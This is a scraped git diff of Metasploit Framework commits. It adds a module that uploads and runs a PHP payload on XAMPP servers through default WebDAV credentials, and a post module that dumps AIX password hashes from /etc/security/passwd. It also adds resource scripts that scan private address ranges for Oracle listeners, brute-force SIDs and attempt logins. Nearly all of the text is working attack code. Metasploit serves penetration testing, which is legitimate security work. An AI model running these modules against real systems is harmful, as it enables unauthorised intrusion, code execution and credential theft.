def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'XAMPP WebDAV PHP Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits weak WebDAV passwords on XAMPP servers.
|
||||||
|
It uses supplied credentials to upload a PHP payload and
|
||||||
|
execute it.
|
||||||
|
},
|
||||||
|
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
|
||||||
|
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
|
||||||
|
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
|
||||||
|
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
uri = build_path
|
||||||
|
print_status "Uploading Payload to #{uri}"
|
||||||
|
res,c = send_digest_request_cgi({
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'PUT',
|
||||||
|
'data' => payload.raw,
|
||||||
|
'DigestAuthUser' => datastore['RUSER'],
|
||||||
|
'DigestAuthPassword' => datastore['RPASS']
|
||||||
|
}, 25)
|
||||||
|
unless (res.code == 201)
|
||||||
|
print_error "Failed to upload file!"
|
||||||
|
return
|
||||||
|
end
|
||||||
|
print_status "Attempting to execute Payload"
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'GET'
|
||||||
|
}, 20)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def build_path
|
||||||
|
if datastore['PATH'][0,1] == '/'
|
||||||
|
uri_path = datastore['PATH'].dup
|
||||||
|
else
|
||||||
|
uri_path = '/' + datastore['PATH'].dup
|
||||||
|
end
|
||||||
|
uri_path << '/' unless uri_path.ends_with?('/')
|
||||||
|
if datastore['FILENAME']
|
||||||
|
uri_path << datastore['FILENAME']
|
||||||
|
uri_path << '.php' unless uri_path.ends_with?('.php')
|
||||||
|
else
|
||||||
|
uri_path << Rex::Text.rand_text_alphanumeric(7)
|
||||||
|
uri_path << '.php'
|
||||||
|
end
|
||||||
|
return uri_path
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[ 'OSVDB', '77387'],
|
[ 'OSVDB', '77387'],
|
||||||
[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
|
[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
|
||||||
[ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
|
[ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
|
||||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]
|
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ],
|
||||||
|
# The following clearifies why two people are credited for the discovery
|
||||||
|
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf']
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -0,0 +1,68 @@
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# ## This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
require 'msf/core/post/linux/priv'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Common
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::Priv
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'AIX Gather Dump Password Hashes',
|
||||||
|
'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Platform' => [ 'aix' ],
|
||||||
|
'SessionTypes' => [ 'shell' ]
|
||||||
|
))
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def run
|
||||||
|
if is_root?
|
||||||
|
passwd_file = read_file("/etc/security/passwd")
|
||||||
|
jtr = parse_aix_passwd(passwd_file)
|
||||||
|
store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File")
|
||||||
|
else
|
||||||
|
print_error("You must run this module as root!")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def parse_aix_passwd(aix_file)
|
||||||
|
jtr_file = ""
|
||||||
|
tmp = ""
|
||||||
|
aix_file.each_line do |line|
|
||||||
|
username = line.match(/(\w+:)/)
|
||||||
|
if username
|
||||||
|
tmp = username[0]
|
||||||
|
end
|
||||||
|
hash = line.match(/password = (\w+)/)
|
||||||
|
if hash
|
||||||
|
tmp << hash[1]
|
||||||
|
jtr_file << "#{tmp}\n"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return jtr_file
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,66 @@
|
||||||
|
# oracle_login.rc
|
||||||
|
# Author: nebulus
|
||||||
|
|
||||||
|
<ruby>
|
||||||
|
|
||||||
|
hosts = {}
|
||||||
|
host_id_to_ip = {}
|
||||||
|
|
||||||
|
# map hosts ip to host_id
|
||||||
|
|
||||||
|
begin
|
||||||
|
framework.db.hosts.each do |host|
|
||||||
|
# don't really like having to do that but only way I could tie them together as notes were missing ip
|
||||||
|
host_id_to_ip[host.id] = host.address
|
||||||
|
end
|
||||||
|
rescue ActiveRecord::ConnectionNotEstablished
|
||||||
|
puts "DB not connected..."
|
||||||
|
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||||
|
# self.run_single('db_connect <creds>')
|
||||||
|
# puts "trying again..."
|
||||||
|
# retry
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
framework.db.notes.each do |note|
|
||||||
|
if ( note.ntype == 'oracle_sid' )
|
||||||
|
data = note.data
|
||||||
|
if(data =~ /PORT=(\d+), SID=(\S*)$/)
|
||||||
|
ip = host_id_to_ip[note.host_id]
|
||||||
|
port = "#{$1}"
|
||||||
|
sid = "#{$2}"
|
||||||
|
if(sid != '')
|
||||||
|
hosts["#{ip}"] = {'RPORT' => port, 'SID' => sid}
|
||||||
|
end
|
||||||
|
else
|
||||||
|
puts "Bad regexp (#{note.inspect})"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ActiveRecord::ConnectionNotEstablished
|
||||||
|
puts "DB not connected..."
|
||||||
|
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||||
|
# self.run_single('db_connect <creds>')
|
||||||
|
# puts "trying again..."
|
||||||
|
# retry
|
||||||
|
end
|
||||||
|
|
||||||
|
self.run_single("use auxiliary/admin/oracle/oracle_login")
|
||||||
|
|
||||||
|
hosts.each do |rhost|
|
||||||
|
begin
|
||||||
|
self.run_single("set RHOST #{rhost[0]}")
|
||||||
|
self.run_single("set RPORT #{rhost[1]['RPORT']}")
|
||||||
|
self.run_single("set SID #{rhost[1]['SID']}")
|
||||||
|
self.run_single('exploit')
|
||||||
|
puts "DB not connected..."
|
||||||
|
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||||
|
# self.run_single('db_connect <creds>')
|
||||||
|
# puts "trying again..."
|
||||||
|
# retry
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
</ruby>
|
||||||
|
|
|
@ -0,0 +1,34 @@
|
||||||
|
# oracle_sids.rc
|
||||||
|
# Author: nebulus
|
||||||
|
|
||||||
|
<ruby>
|
||||||
|
|
||||||
|
hosts = []
|
||||||
|
|
||||||
|
begin
|
||||||
|
framework.db.services.each do |service|
|
||||||
|
if ( (service.port == 1521 or service.port == 1522 or service.port == 1526) and (service.name =~ /oracle/i) and service.state == 'open')
|
||||||
|
hosts << {'ip' => service.host.address, 'port' => service.port}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ActiveRecord::ConnectionNotEstablished
|
||||||
|
puts "DB not connected..."
|
||||||
|
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||||
|
# self.run_single('db_connect <creds>')
|
||||||
|
# puts "trying again..."
|
||||||
|
# retry
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
self.run_single("use auxiliary/admin/oracle/sid_brute")
|
||||||
|
|
||||||
|
hosts.each do |rhost|
|
||||||
|
|
||||||
|
self.run_single("set RHOST #{rhost['ip']}")
|
||||||
|
self.run_single("set RPORT #{rhost['port']}")
|
||||||
|
self.run_single('set ConnectTimeout 5')
|
||||||
|
self.run_single('run')
|
||||||
|
sleep 1
|
||||||
|
end
|
||||||
|
</ruby>
|
||||||
|
|
|
@ -0,0 +1,28 @@
|
||||||
|
# oracle_tns.rc
|
||||||
|
# Author: nebulus
|
||||||
|
|
||||||
|
<ruby>
|
||||||
|
|
||||||
|
hosts = [
|
||||||
|
'10.1.1.0/24',
|
||||||
|
'10.1.2.1',
|
||||||
|
'192.168.0.0/16'
|
||||||
|
]
|
||||||
|
|
||||||
|
ports = ['1521', '1522', '1526']
|
||||||
|
|
||||||
|
self.run_single("use auxiliary/scanner/oracle/tnslsnr_version")
|
||||||
|
|
||||||
|
hosts.each do |net|
|
||||||
|
ports.each do |port|
|
||||||
|
self.run_single("set RHOSTS #{net}")
|
||||||
|
self.run_single("set THREADS 128")
|
||||||
|
self.run_single("set RPORT #{port}")
|
||||||
|
self.run_single('set ConnectTimeout 5')
|
||||||
|
self.run_single('set VERBOSE false')
|
||||||
|
self.run_single('run')
|
||||||
|
sleep 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
</ruby>
|
||||||
|
|
|
@ -1,3 +1,6 @@
|
||||||
|
# run_all_post.rc
|
||||||
|
# Author: mubix
|
||||||
|
|
||||||
# This is a sample resource script demonstrating a technique of running
|
# This is a sample resource script demonstrating a technique of running
|
||||||
# a single post module against several active sessions at once. The post
|
# a single post module against several active sessions at once. The post
|
||||||
# module should be the currently active module, with sessions from other
|
# module should be the currently active module, with sessions from other
|
||||||
|
|
Loading…
Reference in New Issue